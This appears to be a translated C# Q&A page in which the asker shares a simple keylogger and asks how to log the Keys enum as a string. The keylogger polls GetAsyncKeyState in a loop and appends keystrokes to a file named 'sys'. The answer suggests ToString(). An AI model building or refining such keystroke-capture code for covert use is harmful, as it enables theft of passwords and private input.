将Keys枚举转换为字符串c#

本文关键字:字符串 转换 Keys 枚举 | 更新日期: 2023-09-27 18:21:59

我有一个基本的键盘记录程序。我的代码如下:

class KeyStrokes
{
    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);
    public static void StartLogging()
    {
        while (true)
        {
            //sleeping for while, this will reduce load on cpu
            Thread.Sleep(10);
            for (Int32 i = 3; i < 255; i++)
            {
                int keyState = GetAsyncKeyState(i);
                if (keyState == 1 || keyState == -32767)
                {
                    try
                    {
                        using (FileStream fs = new FileStream(@"..'sys", FileMode.Append, FileAccess.Write))
                        using (StreamWriter sw = new StreamWriter(fs))
                        {
                            sw.Write(((Keys)i));
                            sw.Flush();
                            sw.Close();
                        }
                        break;
                    }
                    catch (Exception) { }
                }
            }
        }
    }
}

但这段代码是记录Keys枚举。我能把它转换成字符串吗?

将Keys枚举转换为字符串c#

使用如下Enum.ToString()方法:

sw.Write((((Keys)i)).ToString());

ToString()将枚举转换为其字符串表示,除非指定了格式字符串,否则通常是枚举成员的名称。

来源-MSDN。